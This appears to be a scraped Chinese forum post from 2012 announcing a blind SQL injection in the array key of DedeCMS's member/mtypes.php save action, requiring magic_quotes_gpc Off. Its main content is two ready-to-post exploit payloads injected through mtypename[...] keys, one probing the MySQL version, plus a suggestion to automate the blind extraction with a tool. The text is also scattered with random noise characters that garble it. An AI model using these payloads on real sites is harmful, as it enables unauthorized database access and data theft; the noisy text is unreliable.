需要magic_quotes_gpc = Off,所以说是鸡肋啊.$ U. j, D D( `/ V! I# j
- C6 I' \2 i# @8 d& i% { K3 Y, D9 A
3 C2 h9 ?+ ?0 R, T% l' z发生在数组key里的注射漏洞,有点意思.- d! \# n( H* l( Z
: e9 R8 T4 Z1 M$ d+ v/ p8 t
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
- H5 a4 {1 T c9 ~$ s
/ f# h3 k3 D6 _7 u/ ~1 ]http://www.xxx.com /dede/member/mtypes.php?dopost=save3 M( ]) A( X8 C2 N( W$ q/ Z
) m; v2 V6 A" X; a) J, _- \% c- mexploit:9 ?2 b- ~ `$ n3 d2 P
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
" x0 d8 \$ H; wmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
4 s, m5 _+ H g* c1 C |
发表于 2012-12-20 08:08:09
收藏
支持
反对